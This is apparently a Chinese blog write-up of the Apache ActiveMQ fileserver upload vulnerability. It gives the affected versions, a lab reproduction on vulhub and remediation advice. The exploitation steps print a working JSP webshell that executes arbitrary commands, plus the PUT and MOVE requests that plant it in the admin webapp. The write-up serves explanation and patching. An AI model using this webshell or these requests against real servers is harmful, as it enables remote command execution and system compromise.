0X00简介
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
0X01漏洞概述
ActiveMQ的web控制台分三个应用,分别是admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现,其使用率并不高且文件操作容易出现漏洞。
0X02影响版本
Apache ActiveMQ 5.x ~ 5.14.0
0X03漏洞利用
1.上传测试文件1.txt,证明可上传成功

2.获取物理路径
PUT /fileserver/%20/%20 HTTP/1.1
(本实验环境采用vulhub搭建,故直接访问http://ip:8161/admin/test/systemProperties.jsp获取物理路径)

3.PUT 一个 Jsp 的 Webshell 到 fileserver 目录
PUT /fileserver/1.jsp HTTP/1.1
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd = request.getParameter("cmd");
String line =null;
Process p=Runtime.getRuntime().exec(strcmd);
InputStream is = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while((line =br.readLine())!=null){
out.print(line+"<br>");
}
%>

4.利用 MOVE 方法将 Webshell 移入 admin/ 目录
MOVE /fileserver/1.jsp HTTP/1.1
Destination: file:///opt/activemq/webapps/admin/123.jsp

5.成功执行webshell权限

0X04漏洞修复
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

本文详细解析了Apache ActiveMQ中的Fileserver漏洞,包括漏洞原理、影响版本及利用方式。同时提供了修复建议,如升级版本或禁用特定功能。
1468

被折叠的 条评论
为什么被折叠?



